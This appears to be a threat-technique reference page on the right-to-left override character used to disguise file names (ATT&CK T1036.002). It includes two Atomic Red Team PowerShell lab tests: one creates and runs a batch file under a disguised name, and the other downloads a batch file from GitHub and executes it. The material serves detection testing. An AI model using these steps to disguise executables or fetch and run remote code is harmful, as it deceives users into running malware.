Home/ATT&CK Technique/Right-to-Left Override
ATT&CK Technique

Right-to-Left Override

T1036.002 · stealth

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx.

A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character.

Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

LinuxmacOSWindows
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Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsMasquerading: Right-to-Left Override Batch File Creation and Execution
'Creates a batch file and then uses the RTLO operator (0x202E) to transform the file name from "evil_batchfdp.bat" to "evil_batchtab.pdf". The script then executes the batch file which displays "Hello World!" for 30 seconds before closing out.'
$filepath = #{fileloc}
$rtlo = [char]0x202E
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
$payload = @"
@echo off
echo Hello World!
timeout /t 30 /nobreak
exit
"@
Set-Content -Path $fileloc -Value $payload -Encoding Ascii -Force
Write-Host "Real filename on disk: $fileloc"
Write-Host "Displays in explorer as: evil_batchtab.pdf"
Start-Process -FilePath $fileloc -Wait
powershellwindowsMasquerading: RTLO Masqueraded File Download and Execution
Downloads a batch file that has an obfuscated name utilizing the RTLO operator. The batch file then runs automatically, opening a cmd window and then closing 30 seconds later
$rtlo = [char]0x202E
$filepath = #{fileloc}
$fileloc = Join-Path "$filepath" ("evil_batch" + $rtlo + "fdp.bat")
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1036.002/src/evil_batch.bat" -OutFile $fileloc -UseBasicParsing | Out-Null
Start-Process -FilePath $fileloc
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 3
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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